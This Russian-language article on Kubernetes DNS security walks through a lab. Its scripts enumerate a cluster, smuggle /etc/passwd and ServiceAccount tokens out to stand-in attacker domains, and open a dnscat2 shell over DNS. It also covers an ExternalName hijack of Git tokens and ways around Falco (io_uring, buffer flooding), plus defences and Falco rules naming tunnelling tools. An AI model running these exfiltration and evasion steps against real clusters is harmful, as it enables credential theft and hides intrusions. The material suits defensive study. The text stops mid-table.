DNS как слепая зона Kubernetes: от разведки кластера до туннелирования данных

Практическое исследование с PoC-лабораторией: как атакующий использует CoreDNS для discovery, exfiltration и C2, как с этим научились бороться, а также что взять себе на заметку, если ты пентестер.


TL;DR

a436a852-321f-4446-a223-2750b82eaf01.webp


В дефолтной конфигурации Kubernetes любой скомпрометированный под может:

  • энумерировать все сервисы кластера через DNS без единого обращения к API-серверу;
  • выкачать данные наружу, закодировав их в поддоменах DNS-запросов;
  • поднять обратный шелл через DNS-туннель (dnscat2/iodine), полностью минуя сетевые политики;
  • угнать git-токены ArgoCD через ExternalName-hijack (CVE-2020-8554 передаёт всем привет).
Всё это — через единственный протокол, который никогда не блокируется: DNS на порту 53.
Далее — разбор каждого вектора с воспроизводимым PoC в kind-кластере, а затем — многослойная защита: NetworkPolicy + CoreDNS hardening + Falco + рекомендации для продакшена.

Оглавление​

  1. Почему DNS — это слепая зона
  2. Как устроен DNS в Kubernetes
  3. Лаборатория: поднимаем полигон за 5 минут
  4. Атака 1: DNS Discovery — карта кластера без kubectl
  5. Атака 2: DNS Exfiltration — выкачиваем секреты через поддомены
  6. Атака 3: DNS C2 — обратный шелл через dnscat2
  7. Атака 4: ExternalName Hijack — угон токенов в стиле ArgoCD
  8. Защита: четыре уровня обороны
  9. Проверяем: атаки после применения защит
  10. Обход средств защиты: что ломалось в 2025 году
  11. Чек-лист для продакшена
  12. Заключение

1. Почему DNS — это слепая зона​

RBAC, NetworkPolicy, PodSecurityAdmission — это все знают и закрывают. А вот DNS, в отличие от них, мягко говоря, не очень.

По факту DNS в Kubernetes — это привилегированный канал:
  • Всегда открыт (NetworkPolicy по умолчанию не ограничивают DNS);
  • Аутентификация не нужна;
  • CoreDNS по умолчанию форвардит любые запросы наружу;
  • Логирование выключено (log-плагин не включён из коробки).
Получил RCE в поде? DNS — единственный канал, который гарантированно работает.

2. Как устроен DNS в Kubernetes​

2.1. CoreDNS и search-домены​

Каждый под в кластере получает /etc/resolv.conf примерно такого вида:
Код:
nameserver 10.96.0.10
search default.svc.cluster.local svc.cluster.local cluster.local
options ndots:5
Ключевые моменты:
  • nameserver — это ClusterIP сервиса kube-dns (CoreDNS). Все DNS-запросы из подов идут сюда.
  • search — список суффиксов. Если в запрашиваемом имени меньше 5 точек (см. ndots:5), резолвер последовательно пробует каждый суффикс.
  • ndots:5 — порог, при котором имя считается «неполным». Это значит, что запрос github.com(2 точки, меньше 5) сначала попробует:
    1. github.com.<namespace>.svc.cluster.local
    2. github.com.svc.cluster.local
    3. github.com.cluster.local
    4. И только потом — github.com. напрямую.
Именно из-за этой механики работает атака ExternalName Hijack, о чем мы еще вспомним далее.

2.2. Внутренние DNS-записи​

CoreDNS автоматически создаёт записи для каждого Service:
Код:
<service>.<namespace>.svc.cluster.local    → ClusterIP
_<port>._<proto>.<service>.<namespace>.svc.cluster.local  → SRV
Для Headless-сервисов (ClusterIP: None) A-запись возвращает IP подов напрямую, а SRV — порты. Для разведки — подарок.

2.3. Что CoreDNS делает с «внешними» запросами​

Директива forward . /etc/resolv.conf в Corefile означает: всё, что не cluster.local, CoreDNS отправляет на upstream-резолверы ноды. Обычно это 8.8.8.8 или DNS облачного провайдера.
Проще говоря, любой DNS-запрос из пода может уйти в интернет — CoreDNS работает как прокси. Прямой доступ к внешним IP не нужен. DNS-пакет уходит через CoreDNS, ответ возвращается обратно.
Код:
[Скомпрометированный под]
         │
    UDP 53 к 10.96.0.10 (CoreDNS)
         │
    ┌────▼────┐
    │ CoreDNS │  ← "forward . /etc/resolv.conf"
    └────┬────┘
         │
    UDP 53 к upstream DNS (8.8.8.8)
         │
    ┌────▼────────────────┐
    │  Рекурсивный DNS    │
    │  → Авторитативный   │
    │    DNS атакующего    │
    └─────────────────────┘

3. Лаборатория: поднимаем полигон за 5 минут​

Всё воспроизводится в автоматизированной лаборатории на kind (Kubernetes IN Docker). Вот как она выглядит:
Код:
┌─────────────────────────────────────────────────┐
│                 kind cluster "dnslab"            │
│                                                 │
│  ┌───────────────┐   ┌────────────────────────┐ │
│  │ control-plane │   │ worker (role=victim)   │ │
│  │   CoreDNS     │   │  victim-app (netshoot) │ │
│  │   Calico      │   │  redis-data            │ │
│  └───────────────┘   └────────────────────────┘ │
│                                                 │
│  ┌────────────────────────────────────────────┐ │
│  │ worker (role=attacker)                     │ │
│  │  attacker-shell (netshoot)                 │ │
│  │  attacker-dnsexfil (python:3.12)           │ │
│  └────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────┘
          │ docker network "kind"
┌─────────▼──────────┐
│ dnslab-attacker     │
│ (debian container)  │
│  bind9   :53        │
│  exfil   :5353      │
│  dnscat2 :4444      │
│  nginx   :443       │
└─────────────────────┘

Системные требования​

  • Docker
  • kubectl
  • kind
  • helm
Установка (Ubuntu/Debian):
Код:
# Ставим всё необходимое одним скриптом
./lab/scripts/00_install_prereq.sh

Запуск​

Код:
# 1. Создаём кластер + Calico + атакующий DNS-контейнер
./lab/scripts/01_create_cluster.sh

# 2. Деплоим «уязвимую» baseline-конфигурацию
./lab/scripts/02_deploy_baseline.sh
После запуска имеем:
  • Kind-кластер с 3 нодами и Calico (для полноценных NetworkPolicy)
  • Namespace victim — под victim-app (имитация скомпрометированного микросервиса) + redis-data
  • Namespace attacker — поды с инструментами атакующего
  • Контейнер dnslab-attacker в docker-сети kind — bind9 + dnscat2-сервер + exfil-receiver + nginx-прокси
  • CoreDNS с включённым логированием — каждый запрос пишется в stdout
Почему Calico, а не стандартный kindnet? Kindnet не поддерживает egress NetworkPolicy. Без Calico мы не сможем продемонстрировать, что защита реально работает.

4. Атака 1: DNS Discovery — карта кластера без kubectl​

MITRE ATT&CK: T1046 (Network Service Discovery), T1018 (Remote System Discovery)

Сценарий​

Атакующий получил RCE в поде. kubectl нет, API-сервер недоступен (ServiceAccount токен отозван или ограничен). Зато есть dig — а в большинстве образов хотя бы nslookup.

Шаг 1: Изучаем окружение​

Код:
kubectl -n attacker exec -it attacker-shell -- bash

# Что нам доступно из коробки?
cat /etc/resolv.conf
Вывод:
Код:
nameserver 10.96.0.10
search attacker.svc.cluster.local svc.cluster.local cluster.local
options ndots:5
Search-домен сразу выдаёт имя namespace (attacker), nameserver — CoreDNS. Отсюда и стартуем.

Шаг 2: Перебор типовых сервисов​

Kubernetes-кластеры используют предсказуемые имена. Атакующий пробивает по словарю:
Код:
# API-сервер — всегда есть
dig +short kubernetes.default.svc.cluster.local
# → 10.96.0.1

# CoreDNS
dig +short kube-dns.kube-system.svc.cluster.local
# → 10.96.0.10

# Популярные сервисы — metrics-server, prometheus, ArgoCD, vault
for svc in \
    metrics-server.kube-system \
    argocd-server.argocd \
    argocd-repo-server.argocd \
    prometheus.monitoring \
    vault.vault \
    grafana.monitoring; do
  IP=$(dig +short ${svc}.svc.cluster.local 2>/dev/null)
  [ -n "$IP" ] && echo "[FOUND] $svc → $IP"
done
Каждый успешный ответ — подтверждение: сервис существует, вот его ClusterIP. argocd-server.argocd резолвится? Значит в кластере стоит ArgoCD. vault.vault? Есть Vault.

Шаг 3: SRV-записи — узнаём порты​

Обычный A-запрос даёт только IP. Но SRV-запросы возвращают порт и протокол:
Код:
dig +noall +answer SRV _http._tcp.app-headless.victim.svc.cluster.local
# → 0 100 8080 10-244-0-15.app-headless.victim.svc.cluster.local.

dig +noall +answer SRV _redis._tcp.redis-data.victim.svc.cluster.local
# → 0 100 6379 redis-data.victim.svc.cluster.local.
Теперь атакующий знает: в namespace victim есть Redis на порту 6379 и HTTP-сервис на 8080.

Шаг 4: Headless-сервисы — IP подов​

Headless-сервисы (ClusterIP: None) отвечают A-записями с IP каждого пода:
Код:
dig +short A app-headless.victim.svc.cluster.local
# → 10.244.0.15
# → 10.244.0.16
Это эквивалент kubectl get endpoints — но без какой-либо аутентификации.

Шаг 5: Обратный резолв (PTR)​

Зная подсеть подов (10.244.0.0/16 — она часто стандартная), можно перебирать PTR-записи:
Код:
for i in $(seq 1 30); do
  result=$(dig +short -x 10.244.0.$i 2>/dev/null)
  [ -n "$result" ] && echo "10.244.0.$i → $result"
done

Что мы получили без единого обращения к API​

ИнформацияИсточник
Имя namespace/etc/resolv.conf
ClusterIP сервисовA-запрос по словарю
Порты сервисовSRV-запрос
IP подов (headless)A-запрос к headless
Наличие ArgoCD, Vault, PrometheusA-запрос по словарю
И всё это — обычные DNS-запросы через штатный CoreDNS. В трафике ничего подозрительного.

Запуск PoC одной командой​

Код:
./lab/scripts/03_attack_discovery.sh
Логи CoreDNS: видны DNS-запросы discovery — kubernetes.default, kube-dns, argocd, vault

Логи CoreDNS во время DNS-разведки кластера

5. Атака 2: DNS Exfiltration — выкачиваем секреты через поддомены​

MITRE ATT&CK: T1048.003 (Exfiltration Over Unencrypted Non-C2 Protocol), T1071.004 (Application Layer Protocol: DNS)

Принцип​

DNS-запрос — это просто строка. Никто не мешает закодировать в ней данные:
Код:
SGERUWSN3DQOJTHE.0.exfil.lab.attacker.example
^^^^^^^^^^^^^^^^^^
   base32(chunk данных)
Атакующий:
  1. Берёт файл (или секрет, или токен) внутри пода.
  2. Кодирует в base32 (DNS-safe: только A-Z, 2-7).
  3. Разбивает на чанки по 50 байт (RFC 1035 ограничивает label 63 байтами).
  4. Делает dig на каждый чанк: <chunk>.<index>.exfil.lab.attacker.example.
  5. На стороне атакующего auth-DNS для lab.attacker.example логирует все запросы и собирает данные.

PoC: выкачиваем /etc/passwd​

На стороне пода-жертвы:
Код:
# Кодируем и отправляем
DATA=$(cat /etc/passwd | base32 -w0 | tr -d '=' | tr '+/' '-_')
LEN=${#DATA}
CHUNK=50
IDX=0
OFFSET=0

echo "[+] payload: $LEN bytes"
while [ $OFFSET -lt $LEN ]; do
    CHUNK_DATA=${DATA:$OFFSET:$CHUNK}
    QNAME="${CHUNK_DATA}.${IDX}.exfil.lab.attacker.example"
    dig +short +tries=1 +time=2 A "$QNAME" >/dev/null 2>&1 || true
    IDX=$((IDX + 1))
    OFFSET=$((OFFSET + CHUNK))
done
echo "[OK] sent $IDX chunks"
На стороне атакующего DNS-сервера (exfil_receiver.py слушает UDP/5353):
Код:
2026-01-15T14:23:01.123 src=10.244.0.15:44231 qtype=1 qname=MNUXI4ZOMNUW4ZZPMN2...0.exfil.lab.attacker.example
2026-01-15T14:23:01.189 src=10.244.0.15:44231 qtype=1 qname=GI3DKNRWGU3TKMRXHAZ...1.exfil.lab.attacker.example
2026-01-15T14:23:01.245 src=10.244.0.15:44231 qtype=1 qname=GY3DIMJYGE4TGMZTGI2...2.exfil.lab.attacker.example
...
Атакующий собирает subdomain-метки, конкатенирует, декодирует base32 — и получает исходный файл.

Почему это проходит​

  1. Каждый отдельный запрос выглядит легитимно — это просто A-запрос.
  2. NetworkPolicy по умолчанию не блокируют DNS — под шлёт пакет на CoreDNS (10.96.0.10:53), а дальше CoreDNS сам форвардит его наружу.
  3. Нет инспекции payload — ни CoreDNS, ни CNI по умолчанию не анализируют содержимое DNS-запросов.

Ключевые метрики для детектирования​


Признак
Длина поддомена
Энтропия label
Частота запросов
Уникальность поддоменов
Родительский домен
[th]
Нормальный DNS
[/th][th]
DNS-exfiltration
[/th]​
[td]
5-30 символов
[/td][td]
50-63 символов
[/td]​
[td]
Низкая (слова)
[/td][td]
Высокая (base32/hex)
[/td]​
[td]
1-10/мин
[/td][td]
50-500/мин
[/td]​
[td]
Повторяются
[/td][td]
Каждый уникален
[/td]​
[td]
Разные
[/td][td]
Один и тот же
[/td]​


Запуск PoC​

Код:
./lab/scripts/04_attack_exfil.sh

# Смотрим, что поймал receiver:
docker exec dnslab-attacker tail -n 200 /var/log/attacker/exfil.log

# Смотрим логи CoreDNS — подозрительно длинные поддомены:
kubectl -n kube-system logs -l k8s-app=kube-dns --tail=40
Вывод exfil receiver: base32-закодированные поддомены приходят на DNS-сервер атакующего

Exfil receiver на стороне атакующего: данные приходят как поддомены DNS-запросов
Логи CoreDNS: видны подозрительно длинные поддомены с высокой энтропией

Логи CoreDNS во время эксфильтрации — характерные длинные base32-поддомены

6. Атака 3: DNS C2 — обратный шелл через dnscat2​

MITRE ATT&CK: T1572 (Protocol Tunneling), T1071.004 (DNS)

Что такое DNS-туннель​

DNS-туннель — это полноценный двунаправленный канал поверх DNS-запросов и ответов. Инструменты вроде dnscat2 инкапсулируют произвольные данные в TXT/CNAME/MX-записи, создавая виртуальное TCP-соединение через DNS.
Код:
[Скомпрометированный под]              [DNS-сервер атакующего]
        │                                       │
        │── TXT-запрос (данные →) ────────────►  │
        │◄── TXT-ответ (← команда) ────────────  │
        │── A-запрос (данные →) ──────────────►  │
        │◄── CNAME-ответ (← данные) ──────────   │
        ...                                     ...
Это даёт атакующему:
  • Интерактивный шелл внутри пода
  • Загрузку/выгрузку файлов
  • Перенаправление портов (port forwarding) через DNS

PoC: dnscat2 в кластере​

Сторона сервера (контейнер dnslab-attacker, уже запущен):
Код:
# dnscat2-сервер уже работает на UDP/4444:
docker exec dnslab-attacker tail -f /var/log/attacker/dnscat2.log
Сторона клиента (компилируем и запускаем в поде):
Код:
# Собираем dnscat2 client прямо внутри пода
./lab/scripts/05_attack_c2_dnscat2.sh

# Запускаем клиент вручную:
ATTACKER_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' dnslab-attacker)

kubectl -n attacker exec -it attacker-shell -- \
    /tmp/dnscat2/client/dnscat \
    --dns server=$ATTACKER_IP,port=4444 \
    --secret demoSecret123
После подключения на стороне сервера появляется сессия:
Код:
dnscat2> windows
  0 :: main [active]
  1 :: command (attacker-shell) [encrypted, authenticated]

dnscat2> window -i 1
command (attacker-shell)> shell
Sent request to execute a shell

dnscat2> window -i 2
sh-5.2# whoami
root
sh-5.2# cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIs...
dnscat2: установлена зашифрованная сессия, запущен шелл через DNS-туннель

dnscat2 C2: зашифрованная сессия установлена, интерактивный шелл через DNS
dnscat2: выполнение команд — whoami, hostname, чтение ServiceAccount-токена

Через DNS-туннель: whoami → root, чтение ServiceAccount-токена из пода
Атакующий получил интерактивный шелл через DNS. Весь трафик — это DNS-запросы к lab.attacker.example, которые CoreDNS послушно форвардит наружу.

Чем это отличается от обычного reverse shell​

ХарактеристикаОбычный reverse shellDNS C2
Нужен прямой TCP/UDP наружуДаНет
Проходит через NetworkPolicyОбычно нетДа (DNS всегда разрешён)
Проходит через firewallЗависитДа (порт 53 открыт)
СкоростьВысокаяНизкая (~5-50 KB/s)
Заметность в трафикеЛегко детектируетсяСливается с DNS

7. Атака 4: ExternalName Hijack — угон токенов в стиле ArgoCD​

MITRE ATT&CK: T1557 (Adversary-in-the-Middle), связано с CVE-2020-8554

Предыстория​

В 2025 году исследователи продемонстрировали атаку на ArgoCD, эксплуатирующую механику ndots:5 и ExternalName Service в Kubernetes. Суть:

Как работает атака​

  1. Атакующий создаёт namespace com и Service с именем github типа ExternalName:
Код:
apiVersion: v1
kind: Service
metadata:
  name: github
  namespace: com
spec:
  type: ExternalName
  externalName: attacker-proxy.attacker.svc.cluster.local
  ports:
    - port: 443
  1. Когда любой под в кластере делает запрос к github.com, из-за ndots:5 resolver пробует суффиксы:
  2. github.com.attacker.svc.cluster.local — нет
  3. github.com.svc.cluster.localMATCH! (Service github в namespace com)
  4. CoreDNS возвращает CNAME → attacker-proxy.attacker.svc.cluster.local
  5. Запрос уходит на прокси атакующего вместо реального github.com.
  6. ArgoCD repo-server, обращающийся к github.com за Git-репозиториями, отправляет свой Authorization: Bearer <PAT> атакующему.

PoC​

Код:
./lab/scripts/06_attack_argocd_hijack.sh
ExternalName Hijack: dig резолвит github.com на attacker-proxy, curl показывает HIJACKED с перехваченным Authorization-токеном

ExternalName Hijack в действии: github.com резолвится в attacker-proxy, Bearer-токен перехвачен
Что происходит внутри:
Код:
# Из пода жертвы:
dig +short github.com
# → 10.244.0.20  (IP attacker-proxy, а НЕ реальный GitHub!)

curl -kv -H 'Authorization: Bearer SECRET_GH_PAT_TOKEN_xxx' \
     https://github.com/repo.git
# → запрос улетает на attacker-proxy

# На стороне прокси атакующего:
kubectl -n attacker exec attacker-proxy -- tail /var/log/nginx/access.log
# → "GET /repo.git" ... Authorization: Bearer SECRET_GH_PAT_TOKEN_xxx

Почему это опасно именно для GitOps​

ArgoCD, Flux, Jenkins X — все они ходят к Git-хостингам из подов внутри кластера. Все подвержены ndots:5. Если атакующий может создавать namespace + Service (что часто возможно для разработчиков в multi-tenant кластерах), он может перехватить любой домен.

Масштаб проблемы​

Не только github.com. Атакующий может перехватить:
  • registry.npmjs.org (namespace org, Service registry.npmjs)
  • api.slack.com (namespace com, Service api.slack)
  • vault.hashicorp.com — и получить Vault-токены

8. Защита: четыре уровня обороны​

Код:
┌─────────────────────────────────────────┐
│  Уровень 4: Runtime Detection           │
│  Falco / Tetragon / SIEM                │
├─────────────────────────────────────────┤
│  Уровень 3: DNS-уровень                 │
│  CoreDNS hardening, template plugin     │
├─────────────────────────────────────────┤
│  Уровень 2: Сеть                        │
│  NetworkPolicy (egress), Calico/Cilium  │
├─────────────────────────────────────────┤
│  Уровень 1: RBAC + Admission Control    │
│  Запрет ExternalName, namespace RBAC    │
└─────────────────────────────────────────┘

Уровень 1: RBAC и Admission Control​

Запретить создание ExternalName-сервисов через ValidatingWebhookConfiguration или OPA/Kyverno:
Код:
# Kyverno policy: блокировать ExternalName
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-externalname
spec:
  validationFailureAction: Enforce
  rules:
    - name: deny-externalname-services
      match:
        any:
          - resources:
              kinds:
                - Service
      validate:
        message: "ExternalName services are not allowed"
        pattern:
          spec:
            type: "!ExternalName"
Ограничить создание namespace — в multi-tenant кластере разработчики не должны иметь права создавать произвольные namespace.

Уровень 2: NetworkPolicy — ограничиваем egress​

Default deny на egress для всех рабочих namespace:
Код:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-egress
  namespace: victim
spec:
  podSelector: {}
  policyTypes:
    - Egress
Allow-list: только CoreDNS:
Код:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-coredns-egress
  namespace: victim
spec:
  podSelector: {}
  policyTypes:
    - Egress
  egress:
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: kube-system
          podSelector:
            matchLabels:
              k8s-app: kube-dns
      ports:
        - protocol: UDP
          port: 53
        - protocol: TCP
          port: 53
Важный нюанс: эта политика блокирует прямой DNS наружу (минуя CoreDNS), но не останавливает DNS-туннелирование через CoreDNS! Под по-прежнему шлёт запросы на CoreDNS, а тот форвардит их наружу. Для полной защиты нужен следующий уровень.

Уровень 3: Hardening CoreDNS​

Стандартный Corefile форвардит всё. Добавим фильтрацию:
Код:
.:53 {
    errors
    log . {
        class denial error
    }
    health { lameduck 5s }
    ready
    kubernetes cluster.local in-addr.arpa ip6.arpa {
        pods insecure
        fallthrough in-addr.arpa ip6.arpa
        ttl 30
    }
    prometheus :9153

    # Блокируем известный домен атакующего
    template ANY ANY lab.attacker.example {
        rcode REFUSED
    }

    # Увеличиваем TTL кэша — меньше запросов наружу
    forward . /etc/resolv.conf {
        max_concurrent 1000
    }
    cache 300
    loop
    reload
    loadbalance
}
Что ещё можно сделать:
  • Allowlist доменов через template-плагин — разрешить резолв только для известных внешних доменов.
  • Подключить плагин firewall (coredns-contrib) — он позволяет задавать правила доступа на уровне DNS-запросов.
  • Ограничить длину label — запросы с label >50 символов почти наверняка exfiltration.

Уровень 4: Runtime Detection (Falco)​

Falco на основе eBPF отслеживает сисколы и может детектировать:
Правило 1: прямой DNS мимо CoreDNS:
Код:
- rule: DNS query to non-cluster resolver from victim
  desc: >
    Под из namespace victim открывает UDP/TCP 53 в сторону хоста,
    отличного от CoreDNS. Это маркер DNS-туннеля.
  condition: >
    outbound_dns and pod_in_victim_ns
    and not (fd.rip = "10.96.0.10")
  output: >
    Suspicious direct DNS from victim pod
    (pod=%k8s.pod.name dst=%fd.rip:%fd.rport)
  priority: WARNING
  tags: [network, dns, mitre_command_and_control, T1071.004]
Правило 2: запуск известных инструментов туннелирования:
Код:
- rule: Known DNS tunneling tool launched
  desc: Внутри пода стартовал dnscat2/iodine/dnstt
  condition: >
    spawned_process and proc.name in
    (dnscat2, iodine, iodined, dnstt-client, dnstt-server)
  output: >
    DNS tunneling tool started
    (pod=%k8s.pod.name proc=%proc.name cmdline=%proc.cmdline)
  priority: CRITICAL
  tags: [process, dns, mitre_command_and_control, T1572]
Правило 3: аномальный burst DNS-запросов:
Код:
- rule: Burst of DNS calls from a single pod
  desc: >
    Под делает >100 DNS-сисколов за минуту — маркер
    сканирования или exfiltration.
  condition: outbound_dns and (k8s.pod.name != "")
  output: >
    High-rate DNS from pod
    (pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: NOTICE
  tags: [network, dns, mitre_discovery, T1018]

Применение всех защит одной командой​

Код:
./lab/scripts/07_apply_defenses.sh

9. Проверяем: атаки после применения защит​

Код:
./lab/scripts/08_verify_defenses.sh

Результаты​



Атака​
DNS Discovery (внутрикластерный)​
DNS Exfiltration через lab.attacker.example​
Прямой DNS наружу (минуя CoreDNS)​
DNS C2 (dnscat2) через CoreDNS​
ExternalName Hijack​

[th]
До защиты


[/th]
[th]
После защиты


[/th]
[td]
Работает


[/td]
[td]
Работает (внутренний DNS не ограничен — это by design)


[/td]
[td]
Работает


[/td]
[td]
Заблокировано (CoreDNS template → REFUSED)


[/td]
[td]
Работает


[/td]
[td]
Заблокировано (NetworkPolicy default-deny)


[/td]
[td]
Работает


[/td]
[td]
Заблокировано (CoreDNS + Falco алерт)


[/td]
[td]
Работает


[/td]
[td]
Заблокировано (RBAC + audit)


[/td]​


Внутрикластерный discovery остаётся возможным — это фундаментальное свойство DNS в Kubernetes. Для его ограничения нужна сегментация DNS через dedicated CoreDNS per namespace или OPA-фильтры на CoreDNS. В продакшене это trade-off между безопасностью и удобством service discovery.

10. Обход средств защиты: что ломалось в 2025 году​

Защиты выше — хороший baseline. Но атакующие не стоят на месте. За 2024--2025 годы появились техники, которые обходят каждый из четырёх уровней. Вот что реально работает против них — и как с этим бороться.

10.1. io_uring: Falco и Tetragon полностью слепы​

Исследование: ARMO «Curing» rootkit (апрель 2025)
Главная находка года. io_uring — механизм асинхронного I/O через submission/completion queues в ядре Linux. Позволяет делать сетевые операции, чтение файлов и отправку данных без порождения syscalls.
Falco и Tetragon (в дефолтной конфигурации) перехватывают именно syscalls: connect(), sendto(), sendmsg(), open(), read(). Операции через io_uring (IORING_OP_SENDMSG, IORING_OP_READ) проходят по другому пути в ядре и полностью невидимы для этих инструментов.
Код:
Обычный DNS-запрос:
  приложение → sendmsg() [syscall] → ядро → UDP-пакет
                  ↑ Falco eBPF-проба здесь

io_uring DNS-запрос:
  приложение → io_uring_enter() → submission queue → ядро → UDP-пакет
                                    ↑ Falco проба НЕ стоит здесь
PoC: Вот минимальный C-код, который отправляет DNS-запрос через io_uring:
Код:
/* Ключевой фрагмент — отправка DNS через io_uring */
struct io_uring ring;
io_uring_queue_init(8, &ring, 0);

int fd = socket(AF_INET, SOCK_DGRAM, 0); // единственный видимый syscall

// Собираем DNS-пакет в буфер pkt[]
struct msghdr msg = { .msg_name = &dest, .msg_iov = &iov, .msg_iovlen = 1 };

// Отправляем через io_uring — НЕ syscall!
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_sendmsg(sqe, fd, &msg, 0);
io_uring_submit(&ring);
// Falco не видит эту отправку
Код:
# Полный PoC:
./lab/scripts/11_attack_io_uring_bypass.sh
Что обходится: Falco, Tetragon (default), Microsoft Defender for Cloud
Контрмера:
Код:
# Seccomp-профиль: блокируем io_uring syscalls
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [{
    "names": ["io_uring_setup", "io_uring_enter", "io_uring_register"],
    "action": "SCMP_ACT_ERRNO",
    "errnoRet": 1
  }]
}
Готовый seccomp-профиль: lab/manifests/11-seccomp-block-io-uring.yaml

10.2. DNS over HTTPS: полный обход CoreDNS​

Все защиты на уровне CoreDNS работают ровно до того момента, пока DNS-запрос проходит через CoreDNS. А что если под просто пошлёт запрос напрямую через HTTPS?
Код:
# Под с dnsPolicy: None — CoreDNS полностью выключен
apiVersion: v1
kind: Pod
spec:
  dnsPolicy: "None"
  dnsConfig:
    nameservers: ["8.8.8.8"]
  containers:
    - name: tunnel
      image: alpine
      command: ["sh", "-c", "sleep infinity"]
Внутри такого пода:
Код:
# Вариант 1: DNS exfiltration через DoH API (просто curl)
SECRET=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base32 -w0)
curl -s "https://dns.google/dns-query?name=${SECRET:0:50}.exfil.attacker.com&type=A" \
     -H "accept: application/dns-json"

# Вариант 2: dnstt — полноценный SOCKS5-туннель через DoH
dnstt-client -doh https://dns.google/dns-query \
             -pubkey-file server.pub \
             tunnel.attacker.com \
             127.0.0.1:1080
# Весь трафик через localhost:1080 идёт через DoH к Google
Что видят защитные инструменты:
ИнструментЧто видитДетектирует?
CoreDNS логиНичегоНет
Falcoconnect() к 8.8.8.8:443Нет (HTTPS к Google whitelisted)
Cilium L7 DNSНичего (нет DNS через proxy)Нет
NetworkPolicyTCP к 8.8.8.8:443Только если запретить весь egress
Код:
# PoC:
./lab/scripts/10_attack_doh_bypass.sh
Контрмера: Единственная надёжная защита — default-deny egress + явный allowlist IP (а не доменов). Если под не может отправить TCP-пакет никуда, кроме CoreDNS и конкретных внутрикластерных сервисов, DoH невозможен.
Дополнительно: Kyverno/OPA policy на dnsPolicy: None — запретить подам выключать CoreDNS:
Код:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: deny-dns-policy-none
spec:
  validationFailureAction: Enforce
  rules:
    - name: block-dns-none
      match:
        any:
          - resources:
              kinds: [Pod]
      validate:
        message: "dnsPolicy: None is not allowed"
        pattern:
          spec:
            dnsPolicy: "!None"

10.3. Falco Ring Buffer Flood: утопить детектор​

Исследование: BlackBerry (2024), BSides Bangalore Kubernetes Village (2024)
Falco использует ring buffer фиксированного размера для получения eBPF-событий из ядра. Если заполнить его «мусорными» syscalls быстрее, чем Falco успевает обработать, реальные вредоносные события теряются.
Код:
/* Генерируем 300K мусорных open/close за секунды */
for (int i = 0; i < 300000; i++) {
    int fd = open("/dev/null", O_RDONLY);
    if (fd >= 0) close(fd);
}
Параллельно с flood атакующий выполняет реальные действия — exfiltration, чтение секретов, запуск инструментов.
Результаты BlackBerry:
ОкружениеСобытий для bypassПримерная доля потерь
Host~200K~30%
Docker container~300K~60%
Kubernetes pod100K-200KVariable
Код:
# PoC:
./lab/scripts/12_attack_falco_flood.sh
Контрмеры:
  • Увеличить ring buffer: falco --buf-size-preset=4
  • Алерт на Falco internal: syscall event drop — если Falco теряет события, это само по себе индикатор атаки
  • Tetragon с targeted kprobes вместо широкого перехвата — меньше noise, меньше заполнение буфера
  • Rate-limit мониторинг: под, генерирующий >100K syscalls/sec — аномалия

10.4. CoreDNS ConfigMap Poisoning: подмена DNS изнутри​

Источник: Kubenomicon
Если атакующий получил write-доступ к namespace kube-system (через скомпрометированный ServiceAccount, escalated RBAC или cloud IAM), он может напрямую модифицировать Corefile:
Код:
# Получаем текущий ConfigMap
kubectl get configmap coredns -n kube-system -o yaml > poison.yaml

# Добавляем rewrite: vault.hashicorp.com → наш прокси
# rewrite name vault.hashicorp.com attacker-proxy.attacker.svc.cluster.local

kubectl apply -f poison.yaml
kubectl -n kube-system rollout restart deployment coredns
После этого все поды в кластере, обращающиеся к vault.hashicorp.com, попадают на прокси атакующего. Никакого туннелирования, никаких подозрительных паттернов — трафик выглядит абсолютно легитимно.
Потенциальные цели для rewrite:
  • login.microsoftonline.com — перехват OAuth-токенов
  • sts.amazonaws.com — перехват AWS STS AssumeRole
  • registry.npmjs.org — supply chain attack
Код:
# PoC (с автоматическим откатом):
./lab/scripts/13_attack_coredns_poisoning.sh
Контрмеры:
  • RBAC: минимальные права на kube-system, не давать edit на ConfigMap coredns
  • Audit Log: алерт на kubectl edit/patch configmap coredns -n kube-system
  • GitOps: Corefile управляется через Git, drift detection (ArgoCD/Flux с auto-sync)
  • OPA/Kyverno: policy на изменение ConfigMap в kube-system

10.5. Slow Drip: обход пороговых правил​

Falco burst rule, SIEM-корреляция, CoreDNS rate alerts — все они смотрят на частоту запросов. Slow drip обходит каждый из них:
Код:
# 1 запрос каждые 30 секунд (ниже любого порога)
# + словарный префикс снижает энтропию label
# + ротация родительских доменов
# + разбавление легитимными запросами

QNAME="cdn-${CHUNK_DATA}.${IDX}.sd.${DOMAIN}"
dig +short A "$QNAME"
sleep 30

# Между exfil-запросами — легитимные
dig +short kubernetes.default.svc.cluster.local
МетрикаFast exfilSlow drip
Запросов/мин50--5002--4
Длина label50--63 байт30 + словарь
Burst detectionСрабатываетНет
Скорость~10 KB/s~1 byte/s (86 KB/day)
86 КБ/день — это достаточно для ServiceAccount-токенов, TLS-ключей, .kube/config, переменных окружения с секретами.
Код:
# PoC:
./lab/scripts/14_attack_slow_drip_exfil.sh
Контрмеры:
  • ML-анализ энтропии DNS-label (не пороговое правило, а статистическая модель)
  • Baseline нормального DNS-поведения пода (Cilium Hubble / Tetragon)
  • DNS allowlist на CoreDNS (разрешить резолв только для known-good доменов)
  • Мониторинг уникальности поддоменов: если к одному parent domain приходит 1000 уникальных subdomain — это exfil, даже при 1 запросе в минуту

10.6. Go Pure Resolver: другой паттерн syscalls​

Kubernetes-экосистема построена на Go. Go имеет два DNS-резолвера:
CGO resolverPure Go resolver
Механизмgetaddrinfo() через libcПрямая отправка UDP
Syscall-паттернopenat() → NSS → connect()sendto()socket()sendmsg()
